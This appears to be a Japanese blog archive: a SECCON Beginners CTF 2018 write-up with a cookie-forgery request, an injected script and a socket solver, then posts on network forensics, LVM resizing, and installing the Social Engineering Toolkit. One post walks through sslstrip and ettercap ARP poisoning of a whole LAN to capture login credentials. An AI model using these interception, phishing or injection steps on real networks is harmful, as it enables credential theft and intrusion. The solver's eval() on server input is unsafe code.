SECCON Beginners CTF 2018 write-up
SECCONの初心者向け大会が、5月26日13時〜翌日13時までの24時間開催されたので、参加してきた。
オンラインでの大会は非常にありがたかったが、家族サービスをしながらの参戦だったので時間的には3-4時間しか参戦できなかった。
とりあえず、勉強したネットワークのところだけはやってみたいという想いから何問か挑戦してみた。
phpで書かれたプログラムのバグをついてFlagを入手する問題。 URLにアクセスすると、以下のページが表示される。 POSTパラメータが未設定で、Cookieに値が設定されている場合に、その値を使ってFlagの表示・非表示を行っているため、BurpSuiteを使ってリクエストをインターセプトし、内容を書き換える。 そうするとResponseで帰ってくるhtmlにFlagが表示されている。 問題を見るとJavaScriptファイルが添付されてるので、ダウンロードして内容を確認する。 JSの内容と問題文から推測すると、どうやら新規投稿がされた場合に上記JSが実行され、投稿に対してコメントをつけるらしい。puppeteerを調べるとヘッドレスでブラウザを操作するようなライブラリらしいということがわかったので、投稿ページが表示されたときに、 すると、以下のような回答がよせられる。 添付されているpcapファイルのパケットを調べてFlagを入手する問題。
タイトルからわかるとおり、smtpのパケットを調べる。調べてくと3通ほど見つかるので、一個ずつ見てみる。
最初に暗号化されたファイルが送信されていて、次にパスワードがあるよと言っていそう。 早速2通目を見てみる。
encrypted.zipというファイルがbase64でエンコードされているぽい。 とりあえずデコードしてzipファイルとして保存してみる。以下のサイトにお世話になる。
www.convertstring.com zipファイルを開いてみると、flag.txtというファイルが含まれており、パスワードを要求された。
パスワードは最後のメールに含まれているっぽいので、それを見てみる。 zipに上記パスワードをいれてflag.txtを開いてみると、中にFlagが書かれている 公式のIRCを見て、Flagを入手する問題。 ルールの項番5を見ると、IRCのリンクが書かれているので飛んでみる。 ログイン画面が表示されるので、適当なニックネームで入ってみると、Flagが上のほうに表示されていた。 制限時間内に四則演算100問を解くとFlagを入手できる。 とりあえず、素直に表示されているncコマンドをたたいてみる。 これを愚直にやるのはめんどくさいし無理だろうなという事で、問題と回答した時のパケットを見てみる。 問題 回答 問題文を見ると、 すると、100問目の回答の後にFlagが表示された。 CTFの問題はネットワークフォレンジック系の勉強しかしてなかったので、一問も解けないんじゃないか?と心配していたが、
最初の方の問題は頑張れば解けそうな問題が多く、やっていて楽しかった。ただ、一番楽しそうな「Crypt」「Pwn」「Reversing」については、全然時間を取れなかったので、
サイトが閉鎖されるまでの残り一月の間にチャレンジしてみようと思う。
今度オンラインでCTFが開催された時は、ちゃんと時間をとってチームでわいわいやりながら参戦したら面白そうだなと思ったので、次の挑戦としたい。Web
[Warmup] Greeting
ようこそ!
http://greeting.chall.beginners.seccon.jp
<?php
if(isset($_POST['name'])) {
setcookie("name", $_POST['name'], time()+3600);
$username = htmlspecialchars($_POST['name'], ENT_QUOTES, "UTF-8");
// 管理者でログインできる?
if($username === "admin") {
$username = "偽管理者";
}
} elseif(isset($_COOKIE['name'])) {
$username = htmlspecialchars($_COOKIE['name'], ENT_QUOTES, "UTF-8");
} else {
$username = "ゲスト";
}
?>
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<title>SECCON Beginners greeting service</title>
</head>
<body>
<h1>こんにちは!<?=$username?>さん!</h1>
<hr>
<?php if($username === 'admin'): ?>
こんにちは管理者さん。
Flagは、 "<?=$_ENV['SECCON_BEGINNERS_FLAG']?>"です。
<?php else: ?>
こんにちは<?=$username?>さん。
Flagは、管理者である"admin"さんにのみしか表示されません。
<?php endif; ?>
<form method="POST">
<input type="text" placeholder="名前" name="name">
<button type="submit">名前を変更する</button>
</form>
<pre>
<code>
<?=htmlspecialchars(file_get_contents("./index.php"), ENT_QUOTES, "UTF-8")?>
</code>
</pre>
</body>
</html>
POST / HTTP/1.1
Host: greeting.chall.beginners.seccon.jp
Content-Length: 10
Cache-Control: max-age=0
Origin: http://greeting.chall.beginners.seccon.jp
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://greeting.chall.beginners.seccon.jp/
Accept-Encoding: gzip, deflate
Accept-Language: ja-JP,ja;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: _ga=GA1.2.326850657.1527329409; _gid=GA1.2.1298991850.1527329409; name=admin
Connection: close
こんにちは管理人さん。Flagは、”ctf4b{w3lc0m3_TO_ctf4b_w3b_w0rd!!}”です。
Gimme your comment
ビギナーズカンパニーは皆様からのご意見をお待ちしています。
お問合わせの回答には特別なブラウザを使用しており、このブラウザの User-Agent が分かった方には特別に得点を差し上げます :-)
http://gyc.chall.beginners.seccon.jp
worker_63589eb583b5281458486ae738efd63e04f502b7.js
const puppeteer = require("puppeteer");
let origin = process.env.origin;
let flag = process.env.flag;
let post_id = process.env.post_id;
(async () => {
const opt = {
executablePath: 'google-chrome-stable',
headless: true,
args: [
"--no-sandbox",
"--disable-background-networking",
"--disable-default-apps",
"--disable-extensions",
"--disable-gpu",
"--disable-sync",
"--disable-translate",
"--hide-scrollbars",
"--metrics-recording-only",
"--mute-audio",
"--no-first-run",
"--safebrowsing-disable-auto-update",
`--user-agent=${flag}`
],
};
const browser = await puppeteer.launch(opt);
const page = await browser.newPage();
await page.goto(`${origin}/posts/${post_id}`, {waitUntil: 'domcontentloaded'});
await page.type('input[name="comment_content"]', '投稿ありがとうございます。大変参考になりました。');
await page.click('button[type=submit]');
await page.waitFor(1000);
await browser.close();
})();
<script>
$(document).ready(function () {
var userAgent = window.navigator.userAgent.toLowerCase();
$('[name="comment_content"]').val(userAgent)
});
</script>
--user-agent
をcomment_contentに表示させればいいかなと思って以下のJavaScriptを本文にしかける。<script>
$(document).ready(function () {
var userAgent = window.navigator.userAgent.toLowerCase();
$('[name="comment_content"]').val(userAgent)
});
</script>
ctf4b{h4v3_fun_w17h_4_51mpl3_cr055_5173_5cr1p71n6}投稿ありがとうございます。大変参考になりました。
Misc
[Warmup] plain mail
220 67289bb1f069 ESMTP Exim 4.84_2 Fri, 27 Apr 2018 11:00:38 +0000
ehlo [172.19.0.3]
250-67289bb1f069 Hello client.4b [172.19.0.3]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250 HELP
mail FROM:<me@4b.local> size=103
250 OK
rcpt TO:<you@4b.local>
250 Accepted
data
354 Enter message, ending with "." on a line by itself
I will send secret information. First, I will send encrypted file. Second, I wll send you the password.
.
250 OK id=1fC17G-00005T-T0
421 67289bb1f069 lost input connection
220 67289bb1f069 ESMTP Exim 4.84_2 Fri, 27 Apr 2018 11:00:40 +0000
ehlo [172.19.0.3]
250-67289bb1f069 Hello client.4b [172.19.0.3]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250 HELP
mail FROM:<me@4b.local> size=658
250 OK
rcpt TO:<you@4b.local>
250 Accepted
data
354 Enter message, ending with "." on a line by itself
Content-Type: multipart/mixed; boundary="===============0309142026791669022=="
MIME-Version: 1.0
Content-Disposition: attachment; filename="encrypted.zip"
--===============0309142026791669022==
Content-Type: application/octet-stream; Name="encrypted.zip"
MIME-Version: 1.0
Content-Transfer-Encoding: base64
UEsDBAoACQAAAOJVm0zEdBgeLQAAACEAAAAIABwAZmxhZy50eHRVVAkAA6f/4lqn/+JadXgLAAEE
AAAAAAQAAAAASsSD0p8jUFIaCtIY0yp4JcP9Nha32VYd2BSwNTG83tIdZyU4x2VJTGyLcFquUEsH
CMR0GB4tAAAAIQAAAFBLAQIeAwoACQAAAOJVm0zEdBgeLQAAACEAAAAIABgAAAAAAAEAAACkgQAA
AABmbGFnLnR4dFVUBQADp//iWnV4CwABBAAAAAAEAAAAAFBLBQYAAAAAAQABAE4AAAB/AAAAAAA=
--===============0309142026791669022==--
.
250 OK id=1fC17I-00005a-Fw
421 67289bb1f069 lost input connection
パスワードは「you_are_pro」らしい。220 67289bb1f069 ESMTP Exim 4.84_2 Fri, 27 Apr 2018 11:00:42 +0000
ehlo [172.19.0.3]
250-67289bb1f069 Hello client.4b [172.19.0.3]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250 HELP
mail FROM:<me@4b.local> size=13
250 OK
rcpt TO:<you@4b.local>
250 Accepted
data
354 Enter message, ending with "." on a line by itself
_you_are_pro_
.
250 OK id=1fC17K-00005h-AC
421 67289bb1f069 lost input connection
ctf4b{email_with_encrypted_file}
[Warmup] Welcome
フラグは公式IRCチャンネルのトピックにあります。
アナウンスはSECCON Beginners公式Twitterアカウントもしくは、公式IRCチャンネル(freenode #seccon-beginners-ctf)からアナウンスを行います
#seccon-beginners-ctf: Flag for welcome: ctf4b{welcome_to_seccon_beginners_ctf}
てけいさんえくすとりーむず
てけいさんのプロのために作りました。
えくすとりーむなので300秒でタイムアウトします。
$ nc tekeisan-ekusutoriim.chall.beginners.seccon.jp 8690
Welcome to TEKEISAN for Beginners -extreme edition-
---------------------------------------------------------------
Please calculate. You need to answered 100 times.
e.g.
(Stage.1)
4 + 5 = 9
...
(Stage.99)
4 * 4 = 869
Wrong, see you.
---------------------------------------------------------------
(Stage.1)
828 - 887 =
0000 78 4f 43 7d ad c5 00 30 13 b6 7e c4 08 00 45 02 xOC}...0..~...E.
0010 00 4a 99 0e 40 00 32 06 5f 51 85 f2 ea 8c c0 a8 .J..@.2._Q......
0020 1f 25 21 f2 fa 95 d7 66 20 d0 a8 31 20 19 80 18 .%!....f ..1 ...
0030 00 e3 fd 53 00 00 01 01 08 0a 00 a5 c2 6c 41 29 ...S.........lA)
0040 a6 8f 28 53 74 61 67 65 2e 32 29 0a 37 39 31 20 ..(Stage.2).791
0050 2d 20 39 37 39 20 3d 20 - 979 =
0000 00 30 13 b6 7e c4 78 4f 43 7d ad c5 08 00 45 02 .0..~.xOC}....E.
0010 00 3b 00 00 40 00 40 06 ea 6e c0 a8 1f 25 85 f2 .;..@.@..n...%..
0020 ea 8c fa 95 21 f2 a8 31 20 12 d7 66 20 d0 80 18 ....!..1 ..f ...
0030 10 0c 1d d0 00 00 01 01 08 0a 41 29 a6 8f 00 a5 ..........A)....
0040 86 90 39 33 31 30 38 31 0a ..931081.
<LF>0A
でStageや式が区切られており、回答としては、答え+<LF>
を送りつければ良さそう。
という事で、Pythonでソケット通信して自動回答するプログラムを組んでみる。import socket
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(("tekeisan-ekusutoriim.chall.beginners.seccon.jp", 8690))
for i in range(100):
stage = client.recv(4096)
ans = eval(stage.split("\n")[-1].split("=")[0])
client.send(str(ans)+"\n")
print stage + str(ans)
flag = client.recv(4096)
print flag
Congrats.
Flag is: "ctf4b{ekusutori-mu>tekeisann>bigina-zu>2018}"
感想
CTF ネットワークフォレンジック入門
セキュリティに関する勉強として、ネットワークフォレンジックのCTF問題を少し齧ったので、備忘録として纒める。
CTFとは?
Capture The Flagの頭文字を取った物で、日本語では「旗取り合戦」とも訳されます。競技の内容を一言で説明しますと、「情報技術に関する問題に対して適切な形で対処し、それに応じて得られた得点で勝敗を決める」という内容になります。
CTFをやると何が嬉しいのか?
ネットワークフォレンジック激初級編に関しての学習しかしていないので、雰囲気的な個人の感想になりますが、こんな感じのメリットはありそう。
覚えるだけで終わっていた技術に関する知識を実践で使うため、生きた知識が身につきそう
例えば、TCP/IPの4階層モデルを例にとると、こういう層があるんだー。で終わってしまいそうなところですが、実際にパケットを調査するとなると「アプリケーション層のデータに対して、下位3層では通信に関するヘッダーをつけてるだけだから、今回の問題ではアプリケーション層以外のパケットは一旦無視して・・・」みたいな感じで、怪しそうなパケットにあたりをつけるために、知ってる知識をフル動員 + 結構考える必要があるため、生きた知識がつきそう。
知らない技術に触れるチャンス
というより、知ってないと問題が解けない。ネットワークフォレンジック系の過去問をちらっと覗いてみたら、USB通信をキャプチャした問題なども含まれていたため、裾を広げるきっかけになる。
単純に楽しい
自分の得た知識をフル動員させて問題に向かってくのは、単純に楽しい。
知的好奇心を最大級に刺激される。
ハッキングに関する技術をゲーム感覚で学べる
CTFはハッキング技術を競う競技なので、競技を通して学べる。今は用意された問題を解いてるだけだけど、攻防戦とかもあるので、攻撃方法・防御方法に関しての技術を学べる。
どんな問題があるのか?(ネットワーク)
実際にやった問題としては、HTTPやFTP通信のパケットが含まれたpcapやpcapngファイルがあるのでWiresharkで読込み、怪しそうなパケットを順に調べながら手がかりを入手し、最終的にFlagを入手するような問題だった。やってはいないが、そのほかの問題としては、パケットから入手した情報を使ってサーバー内のFlagを取得するような問題もあるらしい。
初学者向けの優しい問題があったので掲載(ctf4b_講義_network.zip)。
Microsoft OneDrive - Access files anywhere. Create docs with free Office Online.
回答や解説等は、以下のSlideShareに記載されている。
やるためにはどんな知識が必要か?
今回の学習ではプロトコルについての知識や、Ciscoルータのコマンド等の知識があれば十分解ける問題だったので、ネットワーク全般の知識と言えそうだったが、CTFの過去問では、SSHのパケット群から、規則性を導き出して(理解できてない)?モールス信号に変換してFlagを入手するような問題もあったので、ネットワーク全般以上の知識が必要となりそう。あとは、パケットの解析などのツールの使い方。
今後勉強するにあたり参考になりそうなサイト
CTF過去問
http://shell-storm.org/repo/CTF/
CTF問題の回答
まとめ
CTFをやった感想として、セキュリティ技術を学ぶための取っ掛かりとしては、大変良いと思う。 CTF自体はただのゲームのような感じもしたが、ここで得た知識や考え方、直感などの経験値は、かなり役に立つと思う。
sslstripによるSSL通信傍受
sslstripという面白いツールを見つけたので、使い方の備忘録です。
どのように実現しているのかが気になる方は下のサイトを参照してください。
http://www.computerworld.jp/topics/563/136389
とりあえず使用するツールは2つ。
sslstrip ⇒ サーバーからのデータに httpsが含まれて入ればhttpへ変えブラウザに返す。
ettercap-gtk ⇒ MITMを実現し、パケットに含まれているuser:password情報などを表示してくれる。
sslstripインストール
#yum install sslstrip
ettercap-gtkインストール
iptables設定
#iptables-save > ip_setting.bak
#iptables -F
#iptables -P INPUT ACCEPT
#iptables -P OUTPUT ACCEPT
#iptables -t nat - A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 10000
sslstrip実行
#sslstrip -a -k -f
ettercap-gtk実行
#ettercap-gtk
実行すると以下のGUI画面が表示される。※CUIでやりたい人はCUI版をインストールするか、オプションを指定。
Sniff ⇒ Unified Sniffing...を選択する。
実行するネットワークインターフェースを指定する。
今回自分の環境だとノートPCなので、wlan0。
ifconfigでネットワークデバイスを調べてもいい。
Hosts ⇒ Scan for hostsを選択する。
ネットワーク内の全ホストをスキャンしてリストを作成する。
スキャンが完了すると、下のテキストボックスに「4 hosts added to the hosts list...」のように、
何台スキャンできたかが表示される。
Mitm ⇒ Arp Poisoning..を選択する。
何もチェックせずに、「OK」を押下する。
ARP poisoning victimes:
GROUP1 : ANY (all the hosts in the list)
GROUP2 : ANY (all the hosts in the list)
というログが表示される。
※今回の環境では、個別にcachePoisoningしての通信傍受がうまく動作せず、すべてのホストを傍受の対象にしている。
Start ⇒ Start sniffingを選択する。
スニッフィング開始。
今回の検証ではFacebookでのログインを傍受してみる。
FacebookのログインページはSSL通信で暗号化されているが、ログ出力にUser:Passが表示されている。
※テスト用のユーザを使用
LVMの論理ボリュームサイズ縮小(PV取り外し)
前回の、「LVMを使っての既存ファイルシステム拡張」の続きです。
今度はボリュームグループに追加した物理ボリュームの取り外しを行います。
ちなみに、この取り外し作業では手順を間違えたりめんどくさがってやってしまうと失敗します。
(いきなりパーティション削除とかしたらOSが起動しなくなりました。)
今回取り外し対象の物理ボリュームは赤字になっている部分です。
[root@localhost kiyoto]# vgdisplay -v Finding all volume groups Finding volume group "VolGroup" -- Volume group --- VG Name VolGroup System ID Format lvm2 Metadata Areas 2 Metadata Sequence No 5 VG Access read/write VG Status resizable MAX LV 0 Cur LV 2 Open LV 2 Max PV 0 Cur PV 2 Act PV 2 VG Size 53.22 GiB PE Size 32.00 MiB Total PE 1703 Alloc PE / Size 1384 / 43.25 GiB Free PE / Size 319 / 9.97 GiB VG UUID ioSlrx-15VC-Zf9Q-YjOW-MpXM-vPWn-YUZ04g --- Physical volumes --- PV Name /dev/sda3 PV UUID iQuL9H-H1ic-3lPS-L5ja-v3y0-a2rB-0k5cf1 PV Status allocatable Total PE / Free PE 744 / 0 PV Name /dev/sda4 PV UUID wW8jGT-hb2T-85UN-mmA5-bIPd-Pti8-Lc0ruw PV Status allocatable Total PE / Free PE 959 / 319
これは物理ボリュームとして30Gあり、そのうちの20Gをボリュームグループに割り当てています。
今回は/dev/sda4を取り外し、削除します。
1.対象のボリュームグループをアンマウントする
※LiveCDで起動し、取り外し作業を行う。
[root@localhost kiyoto]# df ファイルシス 1K-ブロック 使用 使用可 使用% マウント位置 rootfs 31621252 8448332 22980960 27% / devtmpfs 1538816 0 1538816 0% /dev tmpfs 1547568 228 1547340 1% /dev/shm tmpfs 1547568 43240 1504328 3% /run /dev/mapper/VolGroup-lv_root 31621252 8448332 22980960 27% / tmpfs 1547568 43240 1504328 3% /run tmpfs 1547568 0 1547568 0% /sys/fs/cgroup tmpfs 1547568 0 1547568 0% /media /dev/sda2 508644 96028 387016 20% /boot
2.ファイルシステムをチェックする
※このチェックを行わないと、次のステップに進むことができない。
[root@localhost liveuser]# e2fsck -f /dev/mapper/VolGroup-lv_root e2fsck 1.41.14 (22-Dec-2010) Resize inode not valid. Recreate? yes Pass 1: Checking inodes, blocks, and sizes Pass 2: Checking directory structure Pass 3: Checking directory connectivity Pass 4: Checking reference counts Pass 5: Checking group summary information Free blocks count wrong for group #0 (14909, counted=14910).
3.ファイルシステムのサイズ変更
[root@localhost liveuser]# resize2fs /dev/mapper/VolGroup-lv_root 15G resize2fs 1.41.14 (22-Dec-2010) Resizing the filesystem on /dev/mapper/VolGroup-lv_root to 3932160 (4k) blocks. The filesystem on /dev/mapper/VolGroup-lv_root is now 3932160 blocks long.
4.論理ボリュームのサイズ変更
[root@localhost liveuser]# lvreduce -L -20G /dev/mapper/VolGroup-lv_root WARNING: Reducing active logical volume to 18.31 GiB THIS MAY DESTROY YOUR DATA (filesystem etc.) Do you really want to reduce lv_root? [y/n]: y Reducing logical volume lv_root to 18.31 GiB Logical volume lv_root successfully resized
ボリュームグループ内の物理ボリュームのサイズを確認してみると、 縮小した分/dev/sda4の空き容量が増えている
[root@localhost liveuser]# vgdisplay -v Finding all volume groups Finding volume group "VolGroup" --- Volume group --- VG Name VolGroup System ID Format lvm2 Metadata Areas 2 Metadata Sequence No 6 VG Access read/write VG Status resizable MAX LV 0 Cur LV 2 Open LV 1 Max PV 0 Cur PV 2 Act PV 2 VG Size 53.22 GiB PE Size 32.00 MiB Total PE 1703 Alloc PE / Size 744 / 23.25 GiB Free PE / Size 959 / 29.97 GiB VG UUID ioSlrx-15VC-Zf9Q-YjOW-MpXM-vPWn-YUZ04g --- Physical volumes --- PV Name /dev/sda3 PV UUID iQuL9H-H1ic-3lPS-L5ja-v3y0-a2rB-0k5cf1 PV Status allocatable Total PE / Free PE 744 / 0 PV Name /dev/sda4 PV UUID wW8jGT-hb2T-85UN-mmA5-bIPd-Pti8-Lc0ruw PV Status allocatable Total PE / Free PE 959 / 959
5.ボリュームグループから物理ボリュームを取り外す
[root@localhost liveuser]# vgreduce VolGroup /dev/sda4 Removed "/dev/sda4" from volume group "VolGroup"
vgdisplayで確認してみると、物理ボリュームが取り外されたことが確認できる。
[root@localhost liveuser]# vgdisplay -v Finding all volume groups Finding volume group "VolGroup" --- Volume group --- VG Name VolGroup System ID Format lvm2 Metadata Areas 1 Metadata Sequence No 7 VG Access read/write VG Status resizable MAX LV 0 Cur LV 2 Open LV 1 Max PV 0 Cur PV 1 Act PV 1 VG Size 23.25 GiB PE Size 32.00 MiB Total PE 744 Alloc PE / Size 744 / 23.25 GiB Free PE / Size 0 / 0 VG UUID ioSlrx-15VC-Zf9Q-YjOW-MpXM-vPWn-YUZ04g --- Physical volumes --- PV Name /dev/sda3 PV UUID iQuL9H-H1ic-3lPS-L5ja-v3y0-a2rB-0k5cf1 PV Status allocatable Total PE / Free PE 744 / 0
6.物理ボリューム削除
pvremove /dev/sda4
7.パーティションの削除
fdiskから/dev/sda4のパーティションを削除し、保存する。
Disk /dev/sda: 120.0 GB, 120034123776 bytes ヘッド 255, セクタ 63, シリンダ 14593, 合計 234441648 セクタ Units = セクタ数 of 1 * 512 = 512 バイト セクタサイズ (論理 / 物理): 512 バイト / 512 バイト I/O サイズ (最小 / 推奨): 512 バイト / 512 バイト ディスク識別子: 0x12733297 デバイス ブート 始点 終点 ブロック Id システム /dev/sda1 * 63 75216329 37608133+ 7 HPFS/NTFS/exFAT /dev/sda2 75216896 76240895 512000 83 Linux /dev/sda3 76240896 125044735 24401920 8e Linux LVM /dev/sda4 125044736 187959295 31457280 8e Linux LVM コマンド (m でヘルプ): d パーティション番号 (1-4): 4 コマンド (m でヘルプ): p Disk /dev/sda: 120.0 GB, 120034123776 bytes ヘッド 255, セクタ 63, シリンダ 14593, 合計 234441648 セクタ Units = セクタ数 of 1 * 512 = 512 バイト セクタサイズ (論理 / 物理): 512 バイト / 512 バイト I/O サイズ (最小 / 推奨): 512 バイト / 512 バイト ディスク識別子: 0x12733297 デバイス ブート 始点 終点 ブロック Id システム /dev/sda1 * 63 75216329 37608133+ 7 HPFS/NTFS/exFAT /dev/sda2 75216896 76240895 512000 83 Linux /dev/sda3 76240896 125044735 24401920 8e Linux LVM
LVMを使っての既存ファイルシステム拡張
最近Let'sNoteのSSDを60GからIntelの120GSSDに乗り換えました。
乗り換えついでに、広くなった分を新しくLinuxに分け与えようと思いLVMの操作に挑戦しました。
LVMとは(Logical Volume Manager)といい、ディスクマネージメント機能の総称らしいです。
自分的には、ディスクを管理する素晴らしい機能的な感じです。
何が素晴らしいかと言えば、パーティションなどをまたいでもあたかも1つのパーティションのように扱える。
イメージ的にはこんな感じですかね。
イメージいらないぐらいですね。
とりあえず、拡張が簡単にできて物理ディスクのことをあまり考慮しなくてもいいのが便利です。
取り外しもできます。取り外し編はこちら「LVMの論理ボリュームサイズ縮小(PV取り外し)」
LVMには、ボリュームを管理する単位があります。
・PV(物理ボリューム)
・VG(ボリュームグループ)
・LV(論理ボリューム)
PV(Physical Volume)
PVとは、LVM用に用意したパーティションです。
未割当な領域に、LVM用にパーティションを作成するだけです。
VG(Volume Group)
VGとは上で作成したPVをまとめた単位です。
PVを2つ作成して、VolGroup00というVGに割り当てる感じです。
増やしたかったらVolGroup00に新たに1つPVを増やすといったように使えます。
(実際は物理エクステント(PE)という単位で割り当てます。PV作成時に指定されたサイズに分割し、その1つ1つがPE)
LV(Logical Volume)
LVはVGで作成した領域の上に作成します。このLVを各ディレクトリにマウントしてあげます。
なので、使う側としては、LVのみ意識すればいい感じになっています。
イメージ的にはこんなでしょうか?
容量を増やしたいときには、家の中(VG)にPVを追加してあげればVGを大きくすることができそうです。
では、こっから実際の手順です。
環境は、Fedora16 32bitです。
HDDを移行するときは、dump,restoreコマンドを使用すればいいらしいのだが、あいにくファイルシステムが
ext4なので使用することができない。
で、どうしようかと思っていたらddコマンドなるものがあるらしい。
注意書きで同容量のHDDの場合のみddコマンドで。的な事が書いてあるサイトが結構あった気がするが、
気にせず容量の違うHDDにddコマンドでコピーしてみたいと思います。
(失敗しても中身もともと空なので問題なし。)
dd if=/dev/sda of=/dev/sdb
60Gなのでそんなに時間をかけずにコピーは完了する。(コピー中は何も表示されません)
起動してみるとなんの問題もなく動いたのでOKでした。
2.現在のパーティションの状態を確認する
[root@localhost kiyoto]# fdisk /dev/sda
コマンド (m でヘルプ): p Disk /dev/sda: 120.0 GB, 120034123776 bytes ヘッド 255, セクタ 63, シリンダ 14593, 合計 234441648 セクタ Units = セクタ数 of 1 * 512 = 512 バイト セクタサイズ (論理 / 物理): 512 バイト / 512 バイト I/O サイズ (最小 / 推奨): 512 バイト / 512 バイト ディスク識別子: 0x12733297 デバイス ブート 始点 終点 ブロック Id システム /dev/sda1 * 63 75216329 37608133+ 7 HPFS/NTFS/exFAT /dev/sda2 75216896 76240895 512000 83 Linux /dev/sda3 76240896 125044735 24401920 8e Linux LVM
3.パーティションを追加する
nで新しいパーティションを追加する。
コマンド (m でヘルプ): n Partition type: p primary (3 primary, 0 extended, 1 free) e extended Select (default e): p 選択したパーティション 4 最初 セクタ (75216330-234441647, 初期値 75216330): 125044736 Last セクタ, +セクタ数 or +size{K,M,G} (125044736-234441647, 初期値 234441647): +30G
4.ファイルタイプを変える
新しく追加したパーティションのIDは「83」になっているので、それをLVMの「8e」に変更する。
デバイス ブート 始点 終点 ブロック Id システム /dev/sda1 * 63 75216329 37608133+ 7 HPFS/NTFS/exFAT /dev/sda2 75216896 76240895 512000 83 Linux /dev/sda3 76240896 125044735 24401920 8e Linux LVM /dev/sda4 125044736 187959295 31457280 83 Linux
コマンド (m でヘルプ): t
パーティション番号 (1-4): 4
16進数コード (L コマンドでコードリスト表示): 8e
パーティションのシステムタイプを 4 から 8e (Linux LVM) に変更しました
デバイス ブート 始点 終点 ブロック Id システム /dev/sda1 * 63 75216329 37608133+ 7 HPFS/NTFS/exFAT /dev/sda2 75216896 76240895 512000 83 Linux /dev/sda3 76240896 125044735 24401920 8e Linux LVM /dev/sda4 125044736 187959295 31457280 8e Linux LVM
5.変更状態を保存する
コマンド (m でヘルプ): w パーティションテーブルは変更されました! ioctl() を呼び出してパーティションテーブルを再読込みします。 警告: パーティションテーブルの再読込みがエラー 16 で失敗しました: デバイスもしくはリソースがビジー状態です。 カーネルはまだ古いテーブルを使っています。新しいテーブルは 次回リブート時か、partprobe(8)またはkpartx(8)を実行した後に 使えるようになるでしょう ディスクを同期しています。
6.物理ボリュームを作成
再起動後、作成したパーティションにPV(物理ボリュームを作成する)
[root@localhost kiyoto]# pvcreate /dev/sda4 Writing physical volume data to disk "/dev/sda4" Physical volume "/dev/sda4" successfully created
7.ボリュームグループ名を確認する
[root@localhost kiyoto]# vgdisplay -v Finding all volume groups Finding volume group "VolGroup" --- Volume group --- VG Name VolGroup System ID Format lvm2 Metadata Areas 1 Metadata Sequence No 3 VG Access read/write VG Status resizable MAX LV 0 Cur LV 2 Open LV 2 Max PV 0 Cur PV 1 Act PV 1 VG Size 23.25 GiB PE Size 32.00 MiB Total PE 744 Alloc PE / Size 744 / 23.25 GiB Free PE / Size 0 / 0 VG UUID ioSlrx-15VC-Zf9Q-YjOW-MpXM-vPWn-YUZ04g
8.ボリュームグループに物理ボリュームを割り当てる
[root@localhost kiyoto]# vgextend VolGroup /dev/sda4 Volume group "VolGroup" successfully extended
9.論理ボリューム名を確認する
vgdisplay -v で確認すると、さきほど追加した物理ボリュームもボリュームグループに追加されている。
[root@localhost kiyoto]# vgdisplay -v Finding all volume groups Finding volume group "VolGroup" --- Logical volume --- LV Name /dev/VolGroup/lv_root VG Name VolGroup LV UUID SgQAaB-Srat-cvhH-Ownk-qu87-pyNl-z9OlL0 LV Write Access read/write LV Status available # open 1 LV Size 18.31 GiB Current LE 586 Segments 1 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 253:1 --- Physical volumes --- PV Name /dev/sda3 PV UUID iQuL9H-H1ic-3lPS-L5ja-v3y0-a2rB-0k5cf1 PV Status allocatable Total PE / Free PE 744 / 0 PV Name /dev/sda4 PV UUID wW8jGT-hb2T-85UN-mmA5-bIPd-Pti8-Lc0ruw PV Status allocatable Total PE / Free PE 959 / 959
10.論理ボリュームの容量を増やす
[root@localhost kiyoto]# lvextend -L +20G /dev/VolGroup/lv_root Extending logical volume lv_root to 38.31 GiB Logical volume lv_root successfully resized
11.ファイルサイズの変更
[root@localhost kiyoto]# resize2fs /dev/VolGroup/lv_root resize2fs 1.41.14 (22-Dec-2010) Filesystem at /dev/VolGroup/lv_root is mounted on /; on-line resizing required old desc_blocks = 2, new_desc_blocks = 3 Performing an on-line resize of /dev/VolGroup/lv_root to 10043392 (4k) blocks. resize2fs: 無効な引数です While trying to add group #243
12.容量の確認
[root@localhost kiyoto]# lvdisplay -v Finding all logical volumes --- Logical volume --- LV Name /dev/VolGroup/lv_swap VG Name VolGroup LV UUID Gb1NOQ-e3t2-Xryy-N8QS-lkjZ-ikk4-LMyRMc LV Write Access read/write LV Status available # open 2 LV Size 4.94 GiB Current LE 158 Segments 1 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 253:0 --- Logical volume --- LV Name /dev/VolGroup/lv_root VG Name VolGroup LV UUID SgQAaB-Srat-cvhH-Ownk-qu87-pyNl-z9OlL0 LV Write Access read/write LV Status available # open 1 LV Size 38.31 GiB Current LE 1226 Segments 2 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 253:1
SET(Social Engineering Toolkit)のインストール
最近セキュリティ関係の勉強をしながらいろいろ遊んでいると、SETというものを発見した。
SET(Social Engineering Toolkit)とは、ソーシャルエンジニアリングを行うためのツールらしい。
具体的には、フィッシングサイトなどを簡単に立ち上げることができる。
BackTrackとかには最初から入っているのだが、FedoraにSETをインストールする方法が日本語では見当たらない…
ってなことで、インストールメモを取りました。
1.SETのソースをチェックアウトする
SETは、ダウンロードしてインストール…という風に進まないので、まずはソースをチェックアウトする。
svn co http://svn.trustedsec.com/social_engineering_toolkit
2.設定ファイルを書き換える
チェックアウトが完了したら、設定ファイルにmetasploitのインストールされているパスの書き込み。
vi /config/set_config
コメントのすぐ下のほうに下記のような、metasploitのパスを指定する部分があるので、自分の環境に合わせて変える。
### Define the path to MetaSploit, for example: /pentest/exploits/framework3 METASPLOIT_PATH=/opt/metasploit-4.3.0/msf3
3.wgetが必要になるので、インストールする
4.SETの実行
以上で準備は終了です。あとは、SETディレクトリのsetを実行すれば操作できます。
./set
msfconsoleからpostgresqlへの接続
metasploitの、msfconsoleからpostgresqlへの接続の時につまづいた時のメモです。
